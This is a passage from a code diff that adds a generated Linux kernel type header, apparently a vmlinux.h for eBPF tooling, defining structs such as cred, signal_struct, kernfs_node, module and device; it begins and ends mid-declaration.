+ void (*realmode_reserve)(); + void (*realmode_init)(); + struct x86_hyper_runtime hyper; + struct x86_guest guest; +}; + +struct x86_apic_ops { + unsigned int (*io_apic_read)(unsigned int, unsigned int); + void (*restore)(); +}; + +struct x86_msi_ops; + +struct physid_mask { + long unsigned int mask[512]; +}; + +typedef struct physid_mask physid_mask_t; + +typedef int proc_handler(struct ctl_table *, int, void *, size_t *, loff_t *); + +struct ctl_table_poll; + +struct ctl_table { + const char *procname; + void *data; + int maxlen; + umode_t mode; + struct ctl_table *child; + proc_handler *proc_handler; + struct ctl_table_poll *poll; + void *extra1; + void *extra2; +}; + +struct ctl_table_poll { + atomic_t event; + wait_queue_head_t wait; +}; + +struct ctl_node { + struct rb_node node; + struct ctl_table_header *header; +}; + +struct ctl_table_root { + struct ctl_table_set default_set; + struct ctl_table_set * (*lookup)(struct ctl_table_root *); + void (*set_ownership)(struct ctl_table_header *, struct ctl_table *, kuid_t *, kgid_t *); + int (*permissions)(struct ctl_table_header *, struct ctl_table *); +}; + +typedef struct { + u64 val; +} kernel_cap_t; + +struct user_struct; + +struct group_info; + +struct cred { + atomic_t usage; + atomic_t subscribers; + void *put_addr; + unsigned int magic; + kuid_t uid; + kgid_t gid; + kuid_t suid; + kgid_t sgid; + kuid_t euid; + kgid_t egid; + kuid_t fsuid; + kgid_t fsgid; + unsigned int securebits; + kernel_cap_t cap_inheritable; + kernel_cap_t cap_permitted; + kernel_cap_t cap_effective; + kernel_cap_t cap_bset; + kernel_cap_t cap_ambient; + unsigned char jit_keyring; + struct key *session_keyring; + struct key *process_keyring; + struct key *thread_keyring; + struct key *request_key_auth; + void *security; + struct user_struct *user; + struct user_namespace *user_ns; + struct ucounts *ucounts; + struct group_info *group_info; + union { + int non_rcu; + struct callback_head rcu; + }; +}; + +struct va_alignment { + int flags; + long unsigned int mask; + long unsigned int bits; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +typedef __u64 Elf64_Addr; + +typedef __u16 Elf64_Half; + +typedef __u32 Elf64_Word; + +typedef __u64 Elf64_Xword; + +typedef __s64 Elf64_Sxword; + +typedef struct { + Elf64_Sxword d_tag; + union { + Elf64_Xword d_val; + Elf64_Addr d_ptr; + } d_un; +} Elf64_Dyn; + +struct elf64_sym { + Elf64_Word st_name; + unsigned char st_info; + unsigned char st_other; + Elf64_Half st_shndx; + Elf64_Addr st_value; + Elf64_Xword st_size; +}; + +typedef struct elf64_sym Elf64_Sym; + +struct upid { + int nr; + struct pid_namespace *ns; +}; + +struct idr { + struct xarray idr_rt; + unsigned int idr_base; + unsigned int idr_next; +}; + +struct kmem_cache; + +struct fs_pin; + +struct pid_namespace { + struct idr idr; + struct callback_head rcu; + unsigned int pid_allocated; + struct task_struct *child_reaper; + struct kmem_cache *pid_cachep; + unsigned int level; + struct pid_namespace *parent; + struct fs_pin *bacct; + struct user_namespace *user_ns; + struct ucounts *ucounts; + int reboot; + struct ns_common ns; + int memfd_noexec_scope; +}; + +struct pid { + refcount_t count; + unsigned int level; + spinlock_t lock; + struct hlist_head tasks[4]; + struct hlist_head inodes; + wait_queue_head_t wait_pidfd; + struct callback_head rcu; + struct upid numbers[1]; +}; + +enum hrtimer_mode { + HRTIMER_MODE_ABS = 0, + HRTIMER_MODE_REL = 1, + HRTIMER_MODE_PINNED = 2, + HRTIMER_MODE_SOFT = 4, + HRTIMER_MODE_HARD = 8, + HRTIMER_MODE_ABS_PINNED = 2, + HRTIMER_MODE_REL_PINNED = 3, + HRTIMER_MODE_ABS_SOFT = 4, + HRTIMER_MODE_REL_SOFT = 5, + HRTIMER_MODE_ABS_PINNED_SOFT = 6, + HRTIMER_MODE_REL_PINNED_SOFT = 7, + HRTIMER_MODE_ABS_HARD = 8, + HRTIMER_MODE_REL_HARD = 9, + HRTIMER_MODE_ABS_PINNED_HARD = 10, + HRTIMER_MODE_REL_PINNED_HARD = 11, +}; + +struct hrtimer_cpu_base; + +struct hrtimer_clock_base { + struct hrtimer_cpu_base *cpu_base; + unsigned int index; + clockid_t clockid; + seqcount_raw_spinlock_t seq; + struct hrtimer *running; + struct timerqueue_head active; + ktime_t (*get_time)(); + ktime_t offset; + long: 64; + long: 64; +}; + +struct hrtimer_cpu_base { + raw_spinlock_t lock; + unsigned int cpu; + unsigned int active_bases; + unsigned int clock_was_set_seq; + unsigned int hres_active: 1; + unsigned int in_hrtirq: 1; + unsigned int hang_detected: 1; + unsigned int softirq_activated: 1; + unsigned int nr_events; + short unsigned int nr_retries; + short unsigned int nr_hangs; + unsigned int max_hang_time; + ktime_t expires_next; + struct hrtimer *next_timer; + ktime_t softirq_expires_next; + struct hrtimer *softirq_next_timer; + struct hrtimer_clock_base clock_base[8]; +}; + +struct tick_device; + +struct rlimit { + __kernel_ulong_t rlim_cur; + __kernel_ulong_t rlim_max; +}; + +struct task_cputime { + u64 stime; + u64 utime; + long long unsigned int sum_exec_runtime; +}; + +typedef void __signalfn_t(int); + +typedef __signalfn_t *__sighandler_t; + +typedef void __restorefn_t(); + +typedef __restorefn_t *__sigrestore_t; + +union sigval { + int sival_int; + void *sival_ptr; +}; + +typedef union sigval sigval_t; + +union __sifields { + struct { + __kernel_pid_t _pid; + __kernel_uid32_t _uid; + } _kill; + struct { + __kernel_timer_t _tid; + int _overrun; + sigval_t _sigval; + int _sys_private; + } _timer; + struct { + __kernel_pid_t _pid; + __kernel_uid32_t _uid; + sigval_t _sigval; + } _rt; + struct { + __kernel_pid_t _pid; + __kernel_uid32_t _uid; + int _status; + __kernel_clock_t _utime; + __kernel_clock_t _stime; + } _sigchld; + struct { + void *_addr; + union { + int _trapno; + short int _addr_lsb; + struct { + char _dummy_bnd[8]; + void *_lower; + void *_upper; + } _addr_bnd; + struct { + char _dummy_pkey[8]; + __u32 _pkey; + } _addr_pkey; + struct { + long unsigned int _data; + __u32 _type; + __u32 _flags; + } _perf; + }; + } _sigfault; + struct { + long int _band; + int _fd; + } _sigpoll; + struct { + void *_call_addr; + int _syscall; + unsigned int _arch; + } _sigsys; +}; + +struct kernel_siginfo { + struct { + int si_signo; + int si_errno; + int si_code; + union __sifields _sifields; + }; +}; + +struct ucounts { + struct hlist_node node; + struct user_namespace *ns; + kuid_t uid; + atomic_t count; + atomic_long_t ucount[10]; + atomic_long_t rlimit[4]; +}; + +struct sigaction { + __sighandler_t sa_handler; + long unsigned int sa_flags; + __sigrestore_t sa_restorer; + sigset_t sa_mask; +}; + +struct k_sigaction { + struct sigaction sa; +}; + +struct cpu_itimer { + u64 expires; + u64 incr; +}; + +struct task_cputime_atomic { + atomic64_t utime; + atomic64_t stime; + atomic64_t sum_exec_runtime; +}; + +struct thread_group_cputimer { + struct task_cputime_atomic cputime_atomic; +}; + +struct pacct_struct { + int ac_flag; + long int ac_exitcode; + long unsigned int ac_mem; + u64 ac_utime; + u64 ac_stime; + long unsigned int ac_minflt; + long unsigned int ac_majflt; +}; + +struct core_state; + +struct tty_struct; + +struct taskstats; + +struct tty_audit_buf; + +struct signal_struct { + refcount_t sigcnt; + atomic_t live; + int nr_threads; + int quick_threads; + struct list_head thread_head; + wait_queue_head_t wait_chldexit; + struct task_struct *curr_target; + struct sigpending shared_pending; + struct hlist_head multiprocess; + int group_exit_code; + int notify_count; + struct task_struct *group_exec_task; + int group_stop_count; + unsigned int flags; + struct core_state *core_state; + unsigned int is_child_subreaper: 1; + unsigned int has_child_subreaper: 1; + int posix_timer_id; + struct list_head posix_timers; + struct hrtimer real_timer; + ktime_t it_real_incr; + struct cpu_itimer it[2]; + struct thread_group_cputimer cputimer; + struct posix_cputimers posix_cputimers; + struct pid *pids[4]; + struct pid *tty_old_pgrp; + int leader; + struct tty_struct *tty; + seqlock_t stats_lock; + u64 utime; + u64 stime; + u64 cutime; + u64 cstime; + u64 gtime; + u64 cgtime; + struct prev_cputime prev_cputime; + long unsigned int nvcsw; + long unsigned int nivcsw; + long unsigned int cnvcsw; + long unsigned int cnivcsw; + long unsigned int min_flt; + long unsigned int maj_flt; + long unsigned int cmin_flt; + long unsigned int cmaj_flt; + long unsigned int inblock; + long unsigned int oublock; + long unsigned int cinblock; + long unsigned int coublock; + long unsigned int maxrss; + long unsigned int cmaxrss; + struct task_io_accounting ioac; + long long unsigned int sum_sched_runtime; + struct rlimit rlim[16]; + struct pacct_struct pacct; + struct taskstats *stats; + unsigned int audit_tty; + struct tty_audit_buf *tty_audit_buf; + bool oom_flag_origin; + short int oom_score_adj; + short int oom_score_adj_min; + struct mm_struct *oom_mm; + struct mutex cred_guard_mutex; + struct rw_semaphore exec_update_lock; +}; + +struct rseq { + __u32 cpu_id_start; + __u32 cpu_id; + __u64 rseq_cs; + __u32 flags; + __u32 node_id; + __u32 mm_cid; + char end[0]; +}; + +struct root_domain; + +enum perf_event_task_context { + perf_invalid_context = -1, + perf_hw_context = 0, + perf_sw_context = 1, + perf_nr_task_contexts = 2, +}; + +struct rq; + +struct rq_flags; + +struct affinity_context; + +struct sched_class { + void (*enqueue_task)(struct rq *, struct task_struct *, int); + void (*dequeue_task)(struct rq *, struct task_struct *, int); + void (*yield_task)(struct rq *); + bool (*yield_to_task)(struct rq *, struct task_struct *); + void (*check_preempt_curr)(struct rq *, struct task_struct *, int); + struct task_struct * (*pick_next_task)(struct rq *); + void (*put_prev_task)(struct rq *, struct task_struct *); + void (*set_next_task)(struct rq *, struct task_struct *, bool); + int (*balance)(struct rq *, struct task_struct *, struct rq_flags *); + int (*select_task_rq)(struct task_struct *, int, int); + struct task_struct * (*pick_task)(struct rq *); + void (*migrate_task_rq)(struct task_struct *, int); + void (*task_woken)(struct rq *, struct task_struct *); + void (*set_cpus_allowed)(struct task_struct *, struct affinity_context *); + void (*rq_online)(struct rq *); + void (*rq_offline)(struct rq *); + struct rq * (*find_lock_rq)(struct task_struct *, struct rq *); + void (*task_tick)(struct rq *, struct task_struct *, int); + void (*task_fork)(struct task_struct *); + void (*task_dead)(struct task_struct *); + void (*switched_from)(struct rq *, struct task_struct *); + void (*switched_to)(struct rq *, struct task_struct *); + void (*prio_changed)(struct rq *, struct task_struct *, int); + unsigned int (*get_rr_interval)(struct rq *, struct task_struct *); + void (*update_curr)(struct rq *); + void (*task_change_group)(struct task_struct *); +}; + +typedef int32_t key_serial_t; + +typedef uint32_t key_perm_t; + +struct key_type; + +struct key_tag; + +struct keyring_index_key { + long unsigned int hash; + union { + struct { + u16 desc_len; + char desc[6]; + }; + long unsigned int x; + }; + struct key_type *type; + struct key_tag *domain_tag; + const char *description; +}; + +union key_payload { + void *rcu_data0; + void *data[4]; +}; + +struct assoc_array_ptr; + +struct assoc_array { + struct assoc_array_ptr *root; + long unsigned int nr_leaves_on_tree; +}; + +struct key_user; + +struct key_restriction; + +struct key { + refcount_t usage; + key_serial_t serial; + union { + struct list_head graveyard_link; + struct rb_node serial_node; + }; + struct rw_semaphore sem; + struct key_user *user; + void *security; + union { + time64_t expiry; + time64_t revoked_at; + }; + time64_t last_used_at; + kuid_t uid; + kgid_t gid; + key_perm_t perm; + short unsigned int quotalen; + short unsigned int datalen; + short int state; + long unsigned int flags; + union { + struct keyring_index_key index_key; + struct { + long unsigned int hash; + long unsigned int len_desc; + struct key_type *type; + struct key_tag *domain_tag; + char *description; + }; + }; + union { + union key_payload payload; + struct { + struct list_head name_link; + struct assoc_array keys; + }; + }; + struct key_restriction *restrict_link; +}; + +struct uts_namespace; + +struct ipc_namespace; + +struct mnt_namespace; + +struct net; + +struct time_namespace; + +struct cgroup_namespace; + +struct nsproxy { + atomic_t count; + struct uts_namespace *uts_ns; + struct ipc_namespace *ipc_ns; + struct mnt_namespace *mnt_ns; + struct pid_namespace *pid_ns_for_children; + struct net *net_ns; + struct time_namespace *time_ns; + struct time_namespace *time_ns_for_children; + struct cgroup_namespace *cgroup_ns; +}; + +struct sighand_struct { + spinlock_t siglock; + refcount_t count; + wait_queue_head_t signalfd_wqh; + struct k_sigaction action[64]; +}; + +struct io_context { + atomic_long_t refcount; + atomic_t active_ref; + short unsigned int ioprio; +}; + +struct cgroup_subsys_state; + +struct cgroup; + +struct css_set { + struct cgroup_subsys_state *subsys[10]; + refcount_t refcount; + struct css_set *dom_cset; + struct cgroup *dfl_cgrp; + int nr_tasks; + struct list_head tasks; + struct list_head mg_tasks; + struct list_head dying_tasks; + struct list_head task_iters; + struct list_head e_cset_node[10]; + struct list_head threaded_csets; + struct list_head threaded_csets_node; + struct hlist_node hlist; + struct list_head cgrp_links; + struct list_head mg_src_preload_node; + struct list_head mg_dst_preload_node; + struct list_head mg_node; + struct cgroup *mg_src_cgrp; + struct cgroup *mg_dst_cgrp; + struct css_set *mg_dst_cset; + bool dead; + struct callback_head callback_head; +}; + +struct perf_event_groups { + struct rb_root tree; + u64 index; +}; + +struct perf_event_context { + raw_spinlock_t lock; + struct mutex mutex; + struct list_head pmu_ctx_list; + struct perf_event_groups pinned_groups; + struct perf_event_groups flexible_groups; + struct list_head event_list; + int nr_events; + int nr_user; + int is_active; + int nr_task_data; + int nr_stat; + int nr_freq; + int rotate_disable; + refcount_t refcount; + struct task_struct *task; + u64 time; + u64 timestamp; + u64 timeoffset; + struct perf_event_context *parent_ctx; + u64 parent_gen; + u64 generation; + int pin_count; + int nr_cgroups; + struct callback_head callback_head; + local_t nr_pending; +}; + +struct ftrace_ret_stack { + long unsigned int ret; + long unsigned int func; + long long unsigned int calltime; + long unsigned int *retp; +}; + +struct vm_struct { + struct vm_struct *next; + void *addr; + long unsigned int size; + long unsigned int flags; + struct page **pages; + unsigned int page_order; + unsigned int nr_pages; + phys_addr_t phys_addr; + const void *caller; +}; + +union thread_union { + struct task_struct task; + long unsigned int stack[2048]; +}; + +struct xa_node { + unsigned char shift; + unsigned char offset; + unsigned char count; + unsigned char nr_values; + struct xa_node *parent; + struct xarray *array; + union { + struct list_head private_list; + struct callback_head callback_head; + }; + void *slots[64]; + union { + long unsigned int tags[3]; + long unsigned int marks[3]; + }; +}; + +struct list_lru_node; + +struct list_lru { + struct list_lru_node *node; + struct list_head list; + int shrinker_id; + bool memcg_aware; + struct xarray xa; +}; + +struct radix_tree_preload { + local_lock_t lock; + unsigned int nr; + struct xa_node *nodes; +}; + +struct kernfs_root; + +struct kernfs_elem_dir { + long unsigned int subdirs; + struct rb_root children; + struct kernfs_root *root; + long unsigned int rev; +}; + +struct kernfs_node; + +struct kernfs_elem_symlink { + struct kernfs_node *target_kn; +}; + +struct kernfs_ops; + +struct kernfs_open_node; + +struct kernfs_elem_attr { + const struct kernfs_ops *ops; + struct kernfs_open_node *open; + loff_t size; + struct kernfs_node *notify_next; +}; + +struct kernfs_iattrs; + +struct kernfs_node { + atomic_t count; + atomic_t active; + struct lockdep_map dep_map; + struct kernfs_node *parent; + const char *name; + struct rb_node rb; + const void *ns; + unsigned int hash; + union { + struct kernfs_elem_dir dir; + struct kernfs_elem_symlink symlink; + struct kernfs_elem_attr attr; + }; + void *priv; + u64 id; + short unsigned int flags; + umode_t mode; + struct kernfs_iattrs *iattr; +}; + +struct kernfs_open_file; + +struct kernfs_ops { + int (*open)(struct kernfs_open_file *); + void (*release)(struct kernfs_open_file *); + int (*seq_show)(struct seq_file *, void *); + void * (*seq_start)(struct seq_file *, loff_t *); + void * (*seq_next)(struct seq_file *, void *, loff_t *); + void (*seq_stop)(struct seq_file *, void *); + ssize_t (*read)(struct kernfs_open_file *, char *, size_t, loff_t); + size_t atomic_write_len; + bool prealloc; + ssize_t (*write)(struct kernfs_open_file *, char *, size_t, loff_t); + __poll_t (*poll)(struct kernfs_open_file *, struct poll_table_struct *); + int (*mmap)(struct kernfs_open_file *, struct vm_area_struct *); +}; + +struct seq_file { + char *buf; + size_t size; + size_t from; + size_t count; + size_t pad_until; + loff_t index; + loff_t read_pos; + struct mutex lock; + const struct seq_operations *op; + int poll_event; + const struct file *file; + void *private; +}; + +struct kernfs_open_file { + struct kernfs_node *kn; + struct file *file; + struct seq_file *seq_file; + void *priv; + struct mutex mutex; + struct mutex prealloc_mutex; + int event; + struct list_head list; + char *prealloc_buf; + size_t atomic_write_len; + bool mmapped: 1; + bool released: 1; + const struct vm_operations_struct *vm_ops; +}; + +enum kobj_ns_type { + KOBJ_NS_TYPE_NONE = 0, + KOBJ_NS_TYPE_NET = 1, + KOBJ_NS_TYPES = 2, +}; + +struct sock; + +struct kobj_ns_type_operations { + enum kobj_ns_type type; + bool (*current_may_mount)(); + void * (*grab_current_ns)(); + const void * (*netlink_ns)(struct sock *); + const void * (*initial_ns)(); + void (*drop_ns)(void *); +}; + +struct attribute { + const char *name; + umode_t mode; + bool ignore_lockdep: 1; + struct lock_class_key *key; + struct lock_class_key skey; +}; + +struct kobject; + +struct bin_attribute; + +struct attribute_group { + const char *name; + umode_t (*is_visible)(struct kobject *, struct attribute *, int); + umode_t (*is_bin_visible)(struct kobject *, struct bin_attribute *, int); + struct attribute **attrs; + struct bin_attribute **bin_attrs; +}; + +struct kset; + +struct kobj_type; + +struct kobject { + const char *name; + struct list_head entry; + struct kobject *parent; + struct kset *kset; + const struct kobj_type *ktype; + struct kernfs_node *sd; + struct kref kref; + unsigned int state_initialized: 1; + unsigned int state_in_sysfs: 1; + unsigned int state_add_uevent_sent: 1; + unsigned int state_remove_uevent_sent: 1; + unsigned int uevent_suppress: 1; +}; + +struct bin_attribute { + struct attribute attr; + size_t size; + void *private; + struct address_space * (*f_mapping)(); + ssize_t (*read)(struct file *, struct kobject *, struct bin_attribute *, char *, loff_t, size_t); + ssize_t (*write)(struct file *, struct kobject *, struct bin_attribute *, char *, loff_t, size_t); + int (*mmap)(struct file *, struct kobject *, struct bin_attribute *, struct vm_area_struct *); +}; + +struct sysfs_ops { + ssize_t (*show)(struct kobject *, struct attribute *, char *); + ssize_t (*store)(struct kobject *, struct attribute *, const char *, size_t); +}; + +struct kset_uevent_ops; + +struct kset { + struct list_head list; + spinlock_t list_lock; + struct kobject kobj; + const struct kset_uevent_ops *uevent_ops; +}; + +struct kobj_type { + void (*release)(struct kobject *); + const struct sysfs_ops *sysfs_ops; + const struct attribute_group **default_groups; + const struct kobj_ns_type_operations * (*child_ns_type)(const struct kobject *); + const void * (*namespace)(const struct kobject *); + void (*get_ownership)(const struct kobject *, kuid_t *, kgid_t *); +}; + +struct kobj_uevent_env { + char *argv[3]; + char *envp[64]; + int envp_idx; + char buf[2048]; + int buflen; +}; + +struct kset_uevent_ops { + int (* const filter)(const struct kobject *); + const char * (* const name)(const struct kobject *); + int (* const uevent)(const struct kobject *, struct kobj_uevent_env *); +}; + +struct kobj_attribute { + struct attribute attr; + ssize_t (*show)(struct kobject *, struct kobj_attribute *, char *); + ssize_t (*store)(struct kobject *, struct kobj_attribute *, const char *, size_t); +}; + +struct kernel_param; + +struct kernel_param_ops { + unsigned int flags; + int (*set)(const char *, const struct kernel_param *); + int (*get)(char *, const struct kernel_param *); + void (*free)(void *); +}; + +struct kparam_string; + +struct kparam_array; + +struct kernel_param { + const char *name; + struct module *mod; + const struct kernel_param_ops *ops; + const u16 perm; + s8 level; + u8 flags; + union { + void *arg; + const struct kparam_string *str; + const struct kparam_array *arr; + }; +}; + +struct kparam_string { + unsigned int maxlen; + char *string; +}; + +struct kparam_array { + unsigned int max; + unsigned int elemsize; + unsigned int *num; + const struct kernel_param_ops *ops; + void *elem; +}; + +enum module_state { + MODULE_STATE_LIVE = 0, + MODULE_STATE_COMING = 1, + MODULE_STATE_GOING = 2, + MODULE_STATE_UNFORMED = 3, +}; + +struct module_param_attrs; + +struct module_kobject { + struct kobject kobj; + struct module *mod; + struct kobject *drivers_dir; + struct module_param_attrs *mp; + struct completion *kobj_completion; +}; + +struct latch_tree_node { + struct rb_node node[2]; +}; + +struct mod_tree_node { + struct module *mod; + struct latch_tree_node node; +}; + +struct module_memory { + void *base; + unsigned int size; + struct mod_tree_node mtn; +}; + +struct mod_arch_specific { + unsigned int num_orcs; + int *orc_unwind_ip; + struct orc_entry *orc_unwind; +}; + +struct mod_kallsyms { + Elf64_Sym *symtab; + unsigned int num_symtab; + char *strtab; + char *typetab; +}; + +struct module_attribute; + +struct exception_table_entry; + +struct module_sect_attrs; + +struct module_notes_attrs; + +struct trace_eval_map; + +struct error_injection_entry; + +struct module { + enum module_state state; + struct list_head list; + char name[56]; + struct module_kobject mkobj; + struct module_attribute *modinfo_attrs; + const char *version; + const char *srcversion; + struct kobject *holders_dir; + const struct kernel_symbol *syms; + const s32 *crcs; + unsigned int num_syms; + struct mutex param_lock; + struct kernel_param *kp; + unsigned int num_kp; + unsigned int num_gpl_syms; + const struct kernel_symbol *gpl_syms; + const s32 *gpl_crcs; + bool using_gplonly_symbols; + bool sig_ok; + bool async_probe_requested; + unsigned int num_exentries; + struct exception_table_entry *extable; + int (*init)(); + long: 64; + long: 64; + struct module_memory mem[7]; + struct mod_arch_specific arch; + long unsigned int taints; + unsigned int num_bugs; + struct list_head bug_list; + struct bug_entry *bug_table; + struct mod_kallsyms *kallsyms; + struct mod_kallsyms core_kallsyms; + struct module_sect_attrs *sect_attrs; + struct module_notes_attrs *notes_attrs; + char *args; + void *percpu; + unsigned int percpu_size; + void *noinstr_text_start; + unsigned int noinstr_text_size; + unsigned int num_tracepoints; + tracepoint_ptr_t *tracepoints_ptrs; + unsigned int num_srcu_structs; + struct srcu_struct **srcu_struct_ptrs; + unsigned int num_bpf_raw_events; + struct bpf_raw_event_map *bpf_raw_events; + unsigned int btf_data_size; + void *btf_data; + struct jump_entry *jump_entries; + unsigned int num_jump_entries; + unsigned int num_trace_bprintk_fmt; + const char **trace_bprintk_fmt_start; + struct trace_event_call **trace_events; + unsigned int num_trace_events; + struct trace_eval_map **trace_evals; + unsigned int num_trace_evals; + unsigned int num_ftrace_callsites; + long unsigned int *ftrace_callsites; + void *kprobes_text_start; + unsigned int kprobes_text_size; + long unsigned int *kprobe_blacklist; + unsigned int num_kprobe_blacklist; + int num_static_call_sites; + struct static_call_site *static_call_sites; + struct list_head source_list; + struct list_head target_list; + void (*exit)(); + atomic_t refcnt; + struct error_injection_entry *ei_funcs; + unsigned int num_ei_funcs; + long: 64; +}; + +struct error_injection_entry { + long unsigned int addr; + int etype; +}; + +struct module_attribute { + struct attribute attr; + ssize_t (*show)(struct module_attribute *, struct module_kobject *, char *); + ssize_t (*store)(struct module_attribute *, struct module_kobject *, const char *, size_t); + void (*setup)(struct module *, const char *); + int (*test)(struct module *); + void (*free)(struct module *); +}; + +struct exception_table_entry { + int insn; + int fixup; + int data; +}; + +typedef struct { + __u8 b[16]; +} guid_t; + +typedef struct { + __u8 b[16]; +} uuid_t; + +typedef long unsigned int kernel_ulong_t; + +struct pci_device_id { + __u32 vendor; + __u32 device; + __u32 subvendor; + __u32 subdevice; + __u32 class; + __u32 class_mask; + kernel_ulong_t driver_data; + __u32 override_only; +}; + +struct acpi_device_id { + __u8 id[16]; + kernel_ulong_t driver_data; + __u32 cls; + __u32 cls_msk; +}; + +struct of_device_id { + char name[32]; + char type[32]; + char compatible[128]; + const void *data; +}; + +struct x86_cpu_id { + __u16 vendor; + __u16 family; + __u16 model; + __u16 steppings; + __u16 feature; + kernel_ulong_t driver_data; +}; + +typedef void percpu_ref_func_t(struct percpu_ref *); + +struct percpu_ref_data { + atomic_long_t count; + percpu_ref_func_t *release; + percpu_ref_func_t *confirm_switch; + bool force_atomic: 1; + bool allow_reinit: 1; + struct callback_head rcu; + struct percpu_ref *ref; +}; + +enum kmalloc_cache_type { + KMALLOC_NORMAL = 0, + KMALLOC_RECLAIM = 1, + KMALLOC_DMA = 2, + KMALLOC_CGROUP = 3, + NR_KMALLOC_TYPES = 4, +}; + +struct resource { + resource_size_t start; + resource_size_t end; + const char *name; + long unsigned int flags; + long unsigned int desc; + struct resource *parent; + struct resource *sibling; + struct resource *child; +}; + +struct sd_flag_debug { + unsigned int meta_flags; + char *name; +}; + +struct pm_message { + int event; +}; + +typedef struct pm_message pm_message_t; + +struct device; + +struct dev_pm_ops { + int (*prepare)(struct device *); + void (*complete)(struct device *); + int (*suspend)(struct device *); + int (*resume)(struct device *); + int (*freeze)(struct device *); + int (*thaw)(struct device *); + int (*poweroff)(struct device *); + int (*restore)(struct device *); + int (*suspend_late)(struct device *); + int (*resume_early)(struct device *); + int (*freeze_late)(struct device *); + int (*thaw_early)(struct device *); + int (*poweroff_late)(struct device *); + int (*restore_early)(struct device *); + int (*suspend_noirq)(struct device *); + int (*resume_noirq)(struct device *); + int (*freeze_noirq)(struct device *); + int (*thaw_noirq)(struct device *); + int (*poweroff_noirq)(struct device *); + int (*restore_noirq)(struct device *); + int (*runtime_suspend)(struct device *); + int (*runtime_resume)(struct device *); + int (*runtime_idle)(struct device *); +}; + +enum dl_dev_state { + DL_DEV_NO_DRIVER = 0, + DL_DEV_PROBING = 1, + DL_DEV_DRIVER_BOUND = 2, + DL_DEV_UNBINDING = 3, +}; + +struct dev_links_info { + struct list_head suppliers; + struct list_head consumers; + struct list_head defer_sync; + enum dl_dev_state status; +}; + +enum rpm_request { + RPM_REQ_NONE = 0, + RPM_REQ_IDLE = 1, + RPM_REQ_SUSPEND = 2, + RPM_REQ_AUTOSUSPEND = 3, + RPM_REQ_RESUME = 4, +}; + +enum rpm_status { + RPM_INVALID = -1, + RPM_ACTIVE = 0, + RPM_RESUMING = 1, + RPM_SUSPENDED = 2, + RPM_SUSPENDING = 3, +}; + +struct wakeup_source; + +struct wake_irq; + +struct pm_subsys_data; + +struct dev_pm_qos; + +struct dev_pm_info { + pm_message_t power_state; + unsigned int can_wakeup: 1; + unsigned int async_suspend: 1; + bool in_dpm_list: 1; + bool is_prepared: 1; + bool is_suspended: 1; + bool is_noirq_suspended: 1; + bool is_late_suspended: 1; + bool no_pm: 1; + bool early_init: 1; + bool direct_complete: 1; + u32 driver_flags; + spinlock_t lock; + struct list_head entry; + struct completion completion; + struct wakeup_source *wakeup; + bool wakeup_path: 1; + bool syscore: 1; + bool no_pm_callbacks: 1; + unsigned int must_resume: 1; + unsigned int may_skip_resume: 1; + struct hrtimer suspend_timer; + u64 timer_expires; + struct work_struct work; + wait_queue_head_t wait_queue; + struct wake_irq *wakeirq; + atomic_t usage_count; + atomic_t child_count; + unsigned int disable_depth: 3; + unsigned int idle_notification: 1; + unsigned int request_pending: 1; + unsigned int deferred_resume: 1; + unsigned int needs_force_resume: 1; + unsigned int runtime_auto: 1; + bool ignore_children: 1; + unsigned int no_callbacks: 1; + unsigned int irq_safe: 1; + unsigned int use_autosuspend: 1; + unsigned int timer_autosuspends: 1; + unsigned int memalloc_noio: 1; + unsigned int links_count; + enum rpm_request request; + enum rpm_status runtime_status; + enum rpm_status last_status; + int runtime_error; + int autosuspend_delay; + u64 last_busy; + u64 active_time; + u64 suspended_time; + u64 accounting_timestamp; + struct pm_subsys_data *subsys_data; + void (*set_latency_tolerance)(struct device *, s32); + struct dev_pm_qos *qos; +}; + +struct msi_device_data; + +struct dev_msi_info { + struct irq_domain *domain; + struct msi_device_data *data; +}; + +struct dev_archdata {}; + +enum device_removable { + DEVICE_REMOVABLE_NOT_SUPPORTED = 0, + DEVICE_REMOVABLE_UNKNOWN = 1, + DEVICE_FIXED = 2, + DEVICE_REMOVABLE = 3, +}; + +struct device_private; + +struct device_type; + +struct bus_type; + +struct device_driver; + +struct dev_pm_domain; + +struct dma_map_ops; + +struct bus_dma_region; + +struct device_dma_parameters; + +struct cma; + +struct io_tlb_mem; + +struct device_node; + +struct fwnode_handle; + +struct class; + +struct iommu_group; + +struct dev_iommu; + +struct device_physical_location; + +struct device { + struct kobject kobj; + struct device *parent; + struct device_private *p; + const char *init_name; + const struct device_type *type; + const struct bus_type *bus; + struct device_driver *driver; + void *platform_data; + void *driver_data; + struct mutex mutex; + struct dev_links_info links; + struct dev_pm_info power; + struct dev_pm_domain *pm_domain; + struct dev_msi_info msi; + const struct dma_map_ops *dma_ops; + u64 *dma_mask; + u64 coherent_dma_mask; + u64 bus_dma_limit; + const struct bus_dma_region *dma_range_map; + struct device_dma_parameters *dma_parms; + struct list_head dma_pools; + struct cma *cma_area; + struct io_tlb_mem *dma_io_tlb_mem; + struct dev_archdata archdata; + struct device_node *of_node; + struct fwnode_handle *fwnode; + int numa_node; + dev_t devt; + u32 id; + spinlock_t devres_lock; + struct list_head devres_head; + const struct class *class; + const struct attribute_group **groups; + void (*release)(struct device *); + struct iommu_group *iommu_group; + struct dev_iommu *iommu; + struct device_physical_location *physical_location; + enum device_removable removable; + bool offline_disabled: 1; + bool offline: 1; + bool of_node_reused: 1; + bool state_synced: 1; + bool can_match: 1; +}; + +struct pm_subsys_data { + spinlock_t lock; + unsigned int refcount; +}; + +struct wakeup_source { + const char *name; + int id; + struct list_head entry; + spinlock_t lock; + struct wake_irq *wakeirq; + struct timer_list timer; + long unsigned int timer_expires; + ktime_t total_time; + ktime_t max_time; + ktime_t last_time; + ktime_t start_prevent_time; + ktime_t prevent_sleep_time; + long unsigned int event_count; + long unsigned int active_count; + long unsigned int relax_count; + long unsigned int expire_count; + long unsigned int wakeup_count; + struct device *dev; + bool active: 1; + bool autosleep_enabled: 1; +}; + +struct dev_pm_domain { + struct dev_pm_ops ops; + int (*start)(struct device *); + void (*detach)(struct device *, bool); + int (*activate)(struct device *); + void (*sync)(struct device *); + void (*dismiss)(struct device *); +}; + +struct iommu_ops; + +struct bus_type { + const char *name; + const char *dev_name; + const struct attribute_group **bus_groups; + const struct attribute_group **dev_groups; + const struct attribute_group **drv_groups; + int (*match)(struct device *, struct device_driver *); + int (*uevent)(const struct device *, struct kobj_uevent_env *); + int (*probe)(struct device *); + void (*sync_state)(struct device *); + void (*remove)(struct device *); + void (*shutdown)(struct device *); + int (*online)(struct device *); + int (*offline)(struct device *); + int (*suspend)(struct device *, pm_message_t); + int 